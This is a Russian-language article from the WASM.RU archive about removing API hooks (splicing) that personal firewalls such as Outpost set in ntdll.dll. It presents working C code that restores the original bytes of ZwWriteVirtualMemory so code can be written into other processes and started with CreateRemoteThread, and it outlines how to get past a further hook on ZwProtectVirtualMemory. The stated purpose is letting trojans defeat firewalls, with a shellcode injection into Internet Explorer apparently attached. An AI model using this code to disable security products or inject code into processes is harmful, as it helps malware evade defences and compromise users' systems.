Простой способ противодействия сплайсингу API — Архив WASM.RU
Для перехвата вызова какой-нибудь API функции обычно используется метод, называемый сплайсингом. Суть метода состоит в замене первых 5 байт функции инструкцией JMP передающей управление коду-перехватчику. Данная техника широко используется в персональных фаерволах для того, чтобы предотвратить внедрение троянскими программами своего кода в адресное пространство других процессов, которым разрешен доступ в сеть. Тем не менее, существуют различные техники, позволяющие троянописателям прорываться сквозь огненные стены. К примеру, популярный фаервол Agnitum Outpost третьей версии можно было легко обойти, запуская браузер и указав в качестве аргумента командной строки скрипт пересылающий награбленные данные, а затем переместив окно за экран или же внедрением кода в запускаемый процесс (подробнее в статье MS-REM'а «Инжект как метод обхода фаерволлов»). Однако разработчики все же пошаманили над своим детищем и Outpost 4.0 уже надежно(?) противостоит этим методикам. Но если защиту нельзя обойти, то почему бы не попробовать ее убрать?!
Первое, что приходит в голову - получить с помощью LoadLibrary/GetProcAddress оригинальный код перехваченной функции, а затем заменить им прежний код в памяти, убрав таким образом переход на функцию-хук. Поскольку вызов LoadLibrary вернет указатель на уже загруженный модуль, необходимо скопировать файл и загрузить копию. Следующий код убивает перехват функции ZwWriteVirtualMemory, чего достаточно для безнаказанной записи в тело чужого процесса.
Код (Text):
// копируем файл NTDLL.DLL в папку TEMP char szTemp[MAX_PATH]; GetTempPath(MAX_PATH, szTemp); strcat(szTemp, "ntdll2.dll"); CopyFile("C:\\Windows\\System32\\ntdll.dll", szTemp, TRUE); // получаем указатель на оригинальную функцию HMODULE hMod = LoadLibrary(szTemp); void* ptr_orig = GetProcAddress(hMod, "ZwWriteVirtualMemory"); // получаем указатель на текущую функцию void* ptr_new = GetProcAddress (LoadLibrary("ntdll.dll"), "ZwWriteVirtualMemory"); // устанавливаем полный доступ на память DWORD dwOldProtect; VirtualProtect(ptr_new, 10, PAGE_EXECUTE_READWRITE, &dwOldProtect); // заменяем первые 10(на всякий случай) байт функции memcpy(ptr_new, ptr_orig, 10); FreeLibrary(hMod); DeleteFile(szTemp);После этого, для выполнения своего кода в чужом адресном пространстве можно применять классический метод с использованием CreateRemoteThread. Кстати, Outpost также перехватывает эту функцию, но, тем не менее, без вопросов разрешает создание потока в другом процессе.
Хотя приведенный метод снятия перехвата вполне рабочий, он требует подгрузку нового dll модуля, что может вызвать негодование агрессивно настроенного фаервола. Более элегантным решением мне кажется просто прочитать из файла нужные байты. Код следующей функции восстанавливает оригинальное начало API.
}Код (Text):
bool RemoveFWHook(char* szDllPath, char* szFuncName) // в szDllPath полный путь к DLL ! { // получаем указатель на функцию HMODULE lpBase = LoadLibrary(szDllPath); LPVOID lpFunc = GetProcAddress(lpBase, szFuncName); if(!lpFunc) return false; // получаем RVA DWORD dwRVA = (DWORD)lpFunc-(DWORD)lpBase; // проецируем файл в память HANDLE hFile = CreateFile(szDllPath,GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL, NULL); if(INVALID_HANDLE_VALUE == hFile) return false; DWORD dwSize = GetFileSize(hFile, NULL); HANDLE hMapFile = CreateFileMapping(hFile, NULL, PAGE_READONLY|SEC_IMAGE, 0, dwSize, NULL); LPVOID lpBaseMap = MapViewOfFile(hMapFile, FILE_MAP_READ, 0, 0, dwSize); // указатель на настоящую функцию LPVOID lpRealFunc = (LPVOID)((DWORD)lpBaseMap+dwRVA); // изменяем права на доступ и копируем DWORD dwOldProtect; BOOL bRes=true; if(VirtualProtect(lpFunc, 10, PAGE_EXECUTE_READWRITE, &dwOldProtect)) { memcpy(lpFunc, lpRealFunc, 10); }else{ bRes=false; } UnmapViewOfFile(lpBaseMap); CloseHandle(hMapFile); CloseHandle(hFile); return bRes;Обратите внимание на вызов функции CreateFileMapping, параметр SEC_IMAGE указывает на то, что файл будет спроецирован в памяти как исполняемый, это избавляет нас от разбора PE заголовка и вычисления файлового смещения. Впрочем, приведенный пример имеет свои недостатки - пользователю может быть запрещено чтение системных файлов, кроме того, разработчики могут пропатчить файл на диске (хотя это и маловероятно, ибо грозит девелоперам геморроем). Противодействовать и этому возможно, создав базу сигнатур начал функций. К примеру, во всех исследованных мною Windows XP (SP0-SP2, RU и MUI) функция ZwWriteVirtualMemory начинается с байт
Код (Text):
B8 15 01 00 00что соответствует мнемонике
Код (Text):
mov eax, 00000115Для того чтобы узнать сигнатуру, нет необходимости устанавливать ось на жесткий диск, поскольку файл ntdll.dll лежит в дистрибутиве в открытом виде. Конечно, использование статичных сигнатур не гарантирует совместимость, но это наилучший способ защиты от перехвата.
Применять вышеописанные техники можно и для вполне мирных целей - как приём для защиты от отладки. К примеру, наше приложение читает из реестра лицензионный ключ, и нам бы не хотелось, чтобы за этим наблюдал хакер. Восстановив оригинальный код функций для работы с реестром, мы тем самым убьем программные брекпоинты (опкоды 0xCC). Правда, это не сработает, если хакер поставит бряк на конец функции, а мы восстановим только ее начало. Поэтому, лучше восстановить сразу всю секцию кода.
Анти-анти сплайсинг =)
Для защиты от подобных методов анти-перехвата девелоперы могут наложить заклятие на функцию ZwProtectVirtualMemory. Перехват этой функции позволит контролировать изменение атрибутов доступа к памяти, а следовательно и сделать невозможным запись по интересующим адресам. Впрочем, это не спасет, если создать упоминавшуюся выше базу начал функций. Вооружившись дизассемблером длин инструкций (компактные движки можно легко найти в Интернете) можно вызывать первые инструкции из своей базы, а затем, минуя перехватчик, передавать управление основному коду функции.
В аттаче к статье лежит пример внедрения шеллкода в Internet Explorer. © PSI_H
Простой способ противодействия сплайсингу API
Дата публикации 24 ноя 2006